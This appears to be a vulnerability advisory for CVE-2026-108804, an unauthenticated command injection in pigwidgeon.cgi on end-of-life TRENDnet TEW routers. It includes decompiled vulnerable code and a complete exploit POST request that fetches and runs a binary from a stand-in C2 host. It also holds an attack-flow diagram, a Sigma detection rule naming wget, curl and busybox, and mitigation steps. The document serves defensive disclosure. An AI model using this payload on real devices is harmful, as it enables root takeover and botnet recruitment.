Skip to content

CVE-2026-108804: TRENDnet TEW-Series Routers Unauthenticated Remote Code Execution in pigwidgeon.cgi

Density:
C-Level Executive Briefing CVE-2026-108804 EXTREME SCORE 96/100

Maximum-severity unauthenticated command injection in pigwidgeon.cgi exposes End-of-Life TRENDnet routers to immediate root takeover and active IoT botnet recruitment.

VULNERABILITY

HERMES THREAT SCORE & PERIMETER GATEWAY RISK EVALUATION

Target: TRENDnet TEW-751DR / TEW-752DRU / TEW-733GR โ€” pigwidgeon.cgi Web Administration Service
Confidence: 98%
96 / 100
EXTREME

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 20 / 20
Exposure 20 / 20
Prevalence 16 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 19 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 rates this flaw at a maximum 10.0 (CRITICAL) due to network accessibility without authentication, zero complexity, and complete compromise of confidentiality, integrity, and availability with scope expansion (S:C). The Hermes Threat Score (HTS) confirms 96 (EXTREME). The vulnerability resides in pigwidgeon.cgi, an administrative CGI binary listening on both WAN and LAN interfaces. Because these devices have reached End-of-Life (EOL), TRENDnet will not issue a firmware patch. IoT botnets and threat actors actively exploit this vulnerability to turn perimeter routers into persistent residential proxies and lateral pivot nodes.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-108804: TRENDnet TEW-Series Routers Unauthenticated Remote Code Execution in pigwidgeon.cgiVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTTRENDnet TEW-Series Wireless Routers
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in TRENDnet TEW-Series Wireless Routers documented in Hermes dossier.”

Supporting Verified Evidence:

TRENDnet TEW-series routers are embedded MIPS-based Linux networking gateways widely deployed across small-to-medium enterprises (SME), remote branch offices, and SOHO environments.

ParameterTechnical SpecificationOperational Details
CVE IdentifierCVE-2026-108804Official vulnerability reference
Affected VendorTRENDnetNetworking hardware manufacturer
Affected ModelsTEW-751DR, TEW-752DRU, TEW-733GRDual-band wireless N routers
Vulnerable Binary/www/cgi-bin/pigwidgeon.cgiEmbedded web management CGI application
Impacted Firmware1.03B01, 1.03B03 (and prior)Legacy MIPS Linux firmware image
Patch StatusNo Patch (Product End-of-Life)Decommissioning and firewall isolation required
Exploitation VectorNetwork WAN / LAN (Unauthenticated HTTP POST)Remote root command execution
CVSS v3.1 Metrics10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)Critical perimeter gateway compromise

Vulnerable Reverse-Engineered MIPS CGI Logic: Unsanitized fwrite to Shell Script

Section titled โ€œVulnerable Reverse-Engineered MIPS CGI Logic: Unsanitized fwrite to Shell Scriptโ€

The pigwidgeon.cgi binary acts as an administrative bridge between the web user interface and the underlying system daemons. When an HTTP POST request is sent to pigwidgeon.cgi, the function handling service updates reads the service POST parameter and prepares a configuration update script in /var/run/apply_service.sh:

// DECOMPILED PSEUDO-C: pigwidgeon.cgi (TRENDnet TEW-751DR Firmware 1.03B03)
void handle_service_request(void) {
char *service_param = get_cgi_param("service");
char script_path[] = "/var/run/apply_service.sh";
FILE *fp;
if (service_param == NULL) {
send_error_response(400, "Missing service parameter");
return;
}
// FLAW: Opening script file for writing without validating user permissions or session token
fp = fopen(script_path, "w");
if (fp != NULL) {
// Writing shell script header
fputs("#!/bin/sh\n", fp);
fputs("# TRENDnet service updater\n", fp);
// FLAW: Writing unescaped, attacker-controlled parameter directly into shell script
fputs("SERVICE_NAME=", fp);
fwrite(service_param, 1, strlen(service_param), fp);
fputs("\n/bin/service_control restart $SERVICE_NAME\n", fp);
fclose(fp);
// FLAW: Executing the crafted shell script as root (UID 0)
chmod(script_path, 0755);
system(script_path);
send_success_response("Service updated");
}
}
  1. Authentication Bypass: The CGI dispatcher does not verify session cookies or credentials before reaching handle_service_request().
  2. Command Injection via Newline / Metacharacters: The attacker supplies a payload containing newline characters (%0a) or shell operators (;, |, &) in the service POST body:
    POST /cgi-bin/pigwidgeon.cgi HTTP/1.1
    Host: target-router.local
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 72
    service=ntp%0a/bin/busybox+wget+http://c2.botnet.xyz/mips+-O+/tmp/m;chmod+755+/tmp/m;/tmp/m%0a
  3. Execution as Root: When /var/run/apply_service.sh is executed by system(), the shell evaluates:
    #!/bin/sh
    # TRENDnet service updater
    SERVICE_NAME=ntp
    /bin/busybox wget http://c2.botnet.xyz/mips -O /tmp/m;chmod 755 /tmp/m;/tmp/m
    /bin/service_control restart $SERVICE_NAME
    The router downloads and runs the botnet payload with full UID 0 privileges.

sequenceDiagram
autonumber
actor Botnet as Mirai / Adversary Botnet Scanner
participant WAN as WAN / Public Router IP (Port 80/8080)
participant CGI as pigwidgeon.cgi Handler
participant Disk as /var/run/apply_service.sh
participant Shell as BusyBox Root Shell (MIPS)
Botnet->>WAN: Scan for exposed TRENDnet web management interface
Botnet->>CGI: POST /cgi-bin/pigwidgeon.cgi (service=ntp%0acurl...%0a)
Note over CGI: Skips authentication check
CGI->>Disk: fwrite(service_param) writes unescaped commands
CGI->>Shell: system("/var/run/apply_service.sh")
Shell-->>Shell: Fetches malware binary from C2 server
Shell-->>Shell: Installs persistence, kills competing bot processes
Shell-->>Botnet: Establishes C2 socket; joins DDoS botnet swarm

title: TRENDnet TEW-Series pigwidgeon.cgi RCE Exploitation
id: b2c3d4e5-1234-5678-trendnet-cve2026108804
status: stable
description: Detects HTTP POST requests targeting pigwidgeon.cgi with shell command injection payloads characteristic of CVE-2026-108804.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-108804
author: Hermes Codex Cyber Intelligence
date: 2026-10-13
logsource:
category: webserver
product: generic
detection:
selection_path:
cs-method: 'POST'
cs-uri-stem|contains:
- '/cgi-bin/pigwidgeon.cgi'
- '/pigwidgeon.cgi'
selection_payload:
cs-uri-query|contains:
- 'service='
- '%0a'
- '%0A'
- 'wget'
- 'curl'
- '/bin/sh'
- 'busybox'
condition: selection_path and selection_payload
falsepositives:
- Legitimate local administrative configuration changes (unlikely to contain shell metacharacters)
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.004
- cve.2026.108804

  1. Immediate Decommissioning & Hardware Replacement (Mandatory): Because TRENDnet has marked TEW-751DR, TEW-752DRU, and TEW-733GR routers as End-of-Life without security updates, these devices must be disconnected from internet gateways and replaced with supported modern enterprise routers.

  2. Perimeter Network Isolation: If hardware replacement cannot be performed immediately, completely disable remote WAN management access and restrict administrative interfaces strictly to dedicated, authenticated management VLANs.

  3. Ingress Web Application Firewall (WAF) Filtering: Block all external and internal HTTP POST requests targeting /cgi-bin/pigwidgeon.cgi containing newline encodings (%0a, %0d) or shell metacharacters.